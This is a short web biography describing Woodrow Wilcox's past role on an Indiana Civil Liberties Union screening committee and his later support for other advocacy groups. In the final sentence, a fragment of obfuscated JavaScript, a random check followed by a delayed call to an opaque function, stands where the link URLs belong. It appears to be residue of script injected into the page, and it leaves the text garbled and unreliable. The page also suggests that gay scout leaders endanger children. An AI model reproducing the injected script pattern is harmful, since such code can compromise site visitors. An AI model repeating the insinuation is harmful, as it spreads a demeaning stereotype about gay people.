Civil Rights

In the early 1980’s Woodrow Wilcox joined the American Civil Liberties Union. Soon after joining, he won a place on the SCREENING COMMITTEE of the Indiana Civil Liberties Union. That is the committee that decides whether or not to file a lawsuit.

When Woodrow Wilcox moved from Indiana, he stopped being active.

But, he stopped supporting the A.C.L.U. when it started lawsuits to force youth scouting organizations to allow homosexuals to be scout leaders.

Wilcox believes that our Constitution should be interpreted in practical ways which protect innocent children rather than risk serving them on a silver platter to those who might harm them.

Woodrow Wilcox now supports the American Civil Rights Union ( andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Judicial Watch ( ).

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